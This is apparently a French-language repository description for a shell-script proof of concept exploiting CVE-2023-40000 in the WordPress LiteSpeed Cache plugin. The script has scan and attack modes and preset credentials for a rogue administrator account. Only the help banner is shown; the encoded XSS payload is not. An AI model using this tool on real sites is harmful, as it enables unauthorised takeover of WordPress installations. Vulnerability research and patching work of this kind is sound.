iveresk/cve-2023-40000Preuve de concept d'exploitation pour CVE-2023-40000 ciblant les versions < 5.7.0.1 du plugin WordPress LiteSpeed Cache. Prend en charge les modes de vérification et d'attaque, avec une charge utile XSS qui crée un utilisateur administrateur.
C'est un PoC de cve-2023-40000. Exploit pour Wordpress LiteSpeed Cache.
La CVE peut s'appliquer à toutes les versions de LiteSpeed Cache < 5.7.0.1.
Fonctionne en deux modes : check et attack.
Les IP vulnérables seraient repérées par grep sur la version. S'il n'y a pas de version (la cible est protégée par un WAF).
Le code XSS est chiffré pour la fonction eval avec login/pass/email prédéfinis.
# user_login=theattacker
# [email protected]
# pass1=attackpass&pass2=attackpass
# role=administrator
echo "----------------Welcome-to-cve-2023-40000-script-by-1veresk------------+";
echo "+----------------------------------------------------------------------+";
echo "+-------------------For-The-Help---------------------------------------+";
echo "Example#1: ./cve-2023-40000.sh -h--------------------------------------+";
echo "+-------------------For-The--Check-------------------------------------+";
echo "Example#2: ./cve-2023-40000.sh <TARGET_FILE> <MODE>--------------------+";
echo "+----------------------------------------------------------------------+";